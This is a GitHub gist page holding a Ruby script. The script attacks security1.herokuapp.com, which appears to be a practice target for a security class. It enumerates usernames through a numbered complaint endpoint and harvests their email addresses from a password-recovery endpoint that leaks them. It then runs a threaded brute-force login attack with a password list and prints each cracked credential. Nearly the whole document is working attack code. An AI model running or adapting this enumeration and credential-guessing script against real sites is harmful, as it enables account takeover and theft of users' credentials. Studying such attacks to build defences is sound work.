Skip to content

Instantly share code, notes, and snippets.

@RobAWilkinson
Created February 24, 2015 18:46
Show Gist options
  • Save RobAWilkinson/3f8ce524ad088f0d6af2 to your computer and use it in GitHub Desktop.
Save RobAWilkinson/3f8ce524ad088f0d6af2 to your computer and use it in GitHub Desktop.
require 'httparty'
require_relative './passwords'
# blank array to hold usernames
usernames = []
#create blank array to hold HTTParty get threads
username_threads = []
(32..34).each do |num|
# create a thread to scan for usernames
username_threads << Thread.new {
response = HTTParty.get("http://security1.herokuapp.com/complaint?user_num="+num.to_s)
if response.include? "Thanks"
response = response.gsub("Thanks ","")
username = response.gsub(", complaint submitted!","")
usernames << username
end
}
end
# join the threads
username_threads.each {|t| t.join }
# blank arrays to hold emails, users, and threads which get emails
emails = []
users = []
email_threads = []
# loop through emails creating thread for HTTParty request
usernames.each do |username|
email_threads << Thread.new {
puts "new thread"
email = HTTParty.post("http://security1.herokuapp.com/recover", :body => { username: username })
if email.body != "User not found."
email = email.gsub("Email sent to: ", "")
emails << email
users << { username: username, email: email }
end
}
end
# join the threads
email_threads.each { |t| t.join }
# print the users array to stdout
puts users
# create blank array to password crack
threads = []
users.each do |user|
# loop through an array of passwords returned by .password
Password.passwords.each do |password|
# create a thread for post request
threads << Thread.new {
response = HTTParty.post("https://security1.herokuapp.com/login", :body => { 'login[email]' => user[:email], 'login[password]' => password})
if response.include? user[:username]
user[:password] = password
end
}
end
# join the threads per user
threads.each {|t| t.join }
end
# print the completed user array to stdout
puts users
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment